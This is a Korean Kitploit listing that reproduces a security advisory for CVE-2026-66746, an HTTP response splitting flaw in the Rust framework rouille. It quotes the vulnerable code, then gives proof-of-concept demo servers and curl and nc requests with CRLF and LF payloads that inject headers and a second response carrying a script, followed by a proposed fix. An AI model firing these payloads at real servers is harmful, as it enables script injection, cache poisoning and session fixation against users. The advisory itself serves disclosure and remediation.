Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille- — 보안 권고: 검증되지 않은 응답 헤더 값을 통한 HTTP 응답 분할 (rouille) | Kitploit
도구/GitHubGitHub/theopaid/cve-2026-66746-http-response-splitting-via-unvalidated-response-header-values-rouille-
Vulnerability AnalysisCode AnalysisWeb Application ExploitationWeb SecurityPenetration Testing
GitHubtheopaid/cve-2026-66746-http-response-splitting-via-unvalidated-response-header-values-rouille-

CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille-

보안 권고: 검증되지 않은 응답 헤더 값을 통한 HTTP 응답 분할 (rouille)

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
23일 전아직 검토되지 않음

보안 권고: 검증되지 않은 응답 헤더 값으로 인한 HTTP 응답 분할 (rouille)

지정 CVE ID: CVE-2026-66746

요약

rouille는 응답 헤더 값을 캐리지 리턴 또는 라인 피드 검사 없이 클라이언트에 기록합니다. 따라서 공격자의 영향을 받은 텍스트를 헤더 값에 넣는 애플리케이션은 추가 헤더 또는 두 번째 HTTP 응답 전체를 네트워크로 내보내게 됩니다.

rouille의 두 가지 속성으로 인해 일반적인 코드에서도 이 취약점에 도달할 수 있습니다. Request::get_param은 퍼센트 디코딩을 수행하므로 쿼리 문자열의 %0d%0a는 실제 CRLF가 됩니다. 그리고 session::session은 클라이언트 자신의 Cookie 값을 검증 없이 그대로 Set-Cookie에 복사합니다.

널리 사용되는 다른 모든 Rust HTTP 스택은 타입 수준에서 이를 거부합니다. http::HeaderValue::from_str은 CR과 LF에 대해 InvalidHeaderValue를 반환하므로 hyper, axum, actix-web 및 warp는 동일한 방식으로 노출되지 않습니다.

영향을 받는 버전

저장소 URL: https://github.com/tomaka/rouille

최초 영향 버전아래 응답 헤더 경로 기준 0.4.0 (2016-12-14)
마지막 영향 버전3.6.2 (2023-04-24), 현재 릴리스
수정 버전작성 시점 기준 수정 버전 없음

0.4.0 이전 릴리스는 검토되지 않은 다른 코드 경로를 통해 응답을 내보내므로 영향 여부를 단정하지 않습니다. 경로 B에 설명된 session::session 반사는 0.3.2(2016-12-02)부터 존재합니다.

심각도

CWE-113(HTTP 헤더의 CRLF 시퀀스 부적절한 중화)는 CWE-93(CRLF 주입)의 특정 사례입니다.

CVSS 4.0 기본 점수 5.3(중간) CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

위협 모델

경로 A는 원격의 인증되지 않은 공격자와 공격자가 제공한 링크를 따라가는 피해자가 필요합니다. 공격자는 애플리케이션이 요청에서 파생된 문자열을 응답 헤더에 넣도록 해야 합니다. next 또는 return_to 쿼리 매개변수로 리디렉션하는 것이 일반적인 사례입니다.

경로 B는 애플리케이션이 session::session을 호출하고 세션 ID를 읽기만 하면 됩니다. 공격자는 자신의 Cookie 헤더를 제어하므로 단독으로는 자해 공격에 불과합니다. 공유 캐시가 분할된 응답을 저장하거나 피해자 브라우저에 쿠키를 설정하는 다른 방법과 결합될 때 제3자에 대한 공격이 됩니다.

근본 원인

rouille/src/lib.rs의 624~640행은 값을 그대로 전달합니다:

root@kitploit:~
624              for (key, value) in rouille_response.headers {
625                  if key.eq_ignore_ascii_case("Content-Length") {
626                      continue;
627                  }
628  
629                  if key.eq_ignore_ascii_case("Upgrade") {
630                      upgrade_header = value;
631                      continue;
632                  }
633  
634                  if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635                  {
636                      response.add_header(header);

Header::from_bytes는 바이트가 ASCII인지만 검사하며 CR과 LF는 ASCII입니다. tiny_http-0.12.0/src/common.rs의 166~172행:

root@kitploit:~
166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171          let header = HeaderField::from_bytes(header).or(Err(()))?;
172          let value = AsciiString::from_ascii(value).or(Err(()))?;

그런 다음 값은 이스케이프 없이 기록됩니다. tiny_http-0.12.0/src/response.rs의 99~104행:

root@kitploit:~
 99      for header in headers.iter() {
100          writer.write_all(header.field.as_str().as_ref())?;
101          write!(&mut writer, ": ")?;
102          writer.write_all(header.value.as_str().as_ref())?;
103          write!(&mut writer, "\r\n")?;
104      }

경로 A, 퍼센트 디코딩된 쿼리 매개변수

Request::get_param은 퍼센트 이스케이프를 디코딩하므로 호출자는 실제 제어 문자를 받습니다. rouille/src/lib.rs의 928~932행:

root@kitploit:~
928              .map(|value| {
929                  percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930                      .decode_utf8_lossy()
931                      .into_owned()
932              })

경로 B, 요청에서 반사된 세션 식별자

rouille/src/session.rs는 59행에서 클라이언트 쿠키에서 키를 가져와 75~81행의 응답 헤더에 삽입합니다:

root@kitploit:~
 59              key: cookie.into(),
...
 75          let header_value = format!(
 76              "{}={}; Max-Age={}; Path=/; HttpOnly",
 77              cookie_name, session.key, timeout_s
 78          );
 79          response
 80              .headers
 81              .push(("Set-Cookie".into(), header_value.into()));

개념 증명

경로 A

1단계. 쿼리 매개변수로 리디렉션하는 서버를 시작합니다.

root@kitploit:~
use rouille::Response;

fn main() {
    rouille::start_server("127.0.0.1:8002", |request| {
        let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
        Response::redirect_303(next)
    });
}

2단계. 매개변수에 %0d%0a를 넣어 요청합니다.

root@kitploit:~
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'

결과. X-Injected가 자체 헤더로 도착합니다:

root@kitploit:~
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0

3단계. 페이로드를 헤더 끝 너머로 확장하여 두 번째 응답 전체를 내보냅니다.

root@kitploit:~
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'

결과. 하나의 요청에 두 개의 완전한 응답이 발생합니다. 두 번째 응답에는 공격자가 선택한 상태 줄, 콘텐츠 유형 및 본문이 포함됩니다:

root@kitploit:~
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html

<script>alert(1)</script>

경로 B

1단계. 문서화된 세션 관용구를 사용하는 서버를 시작합니다.

root@kitploit:~
use rouille::{session, Response};

fn main() {
    rouille::start_server("127.0.0.1:8006", |request| {
        session::session(request, "SID", 3600, |s| {
            Response::text(format!("session id: {}", s.id()))
        })
    });
}

2단계. 값에 단독 LF가 포함된 쿠키를 보냅니다. 아래 \n은 단일 라인 피드이고 \r\n은 CRLF입니다.

root@kitploit:~
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006

결과. 값이 Set-Cookie에서 벗어나 자체 줄로 분리됩니다:

root@kitploit:~
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly

경로 B에는 주목할 만한 제한이 세 가지 있습니다. CRLF는 tiny_http에서 헤더 줄을 종료했을 것이므로 단독 LF만 통과하며, 따라서 클라이언트나 캐시는 단독 LF를 종결자로 처리해야 합니다. 주입 지점 이후의 모든 내용에는 여전히 동일한 format!의 ; Max-Age=3600; Path=/; HttpOnly 접미사가 붙으므로, 이 기본 요소는 완전한 임의 헤더가 아니라 고정된 후행 문자열이 있는 헤더입니다. 그리고 공격자는 자신의 쿠키만 제어할 수 있습니다. 경로 A에는 이러한 제한이 없습니다.

영향

오리진 보안 컨텍스트에서의 스크립트 실행, 공유 캐시가 피해자의 URL에 대해 주입된 응답을 저장하는 캐시 오염, 주입된 Set-Cookie를 통한 세션 고정, 그리고 CSP 또는 CORS와 같은 보안 헤더 덮어쓰기. 경로 A는 실제 CRLF를 생성하므로 모든 클라이언트와 캐시가 이를 기준으로 분할합니다.

해결 방안

rouille/src/lib.rs의 634행 부근에서 tiny_http에 전달하기 전에 Server::process에서 헤더 값을 검증합니다:

root@kitploit:~
fn header_value_is_safe(v: &str) -> bool {
    !v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}

문제의 헤더를 삭제하는 대신 전체 응답에 대해 500을 반환하여 응답을 조용히 변경하는 대신 오류가 표시되도록 합니다.

session::session에서도 세션 키를 검증합니다: [A-Za-z0-9]+가 아닌 쿠키 값을 거부하고 새 ID를 생성합니다. Response::with_additional_header, with_unique_header 및 redirect_* 생성자에서 검사하면 애플리케이션 작성자가 조치를 취할 수 있는 호출 지점에서 오류가 표시됩니다.

도구 다운로드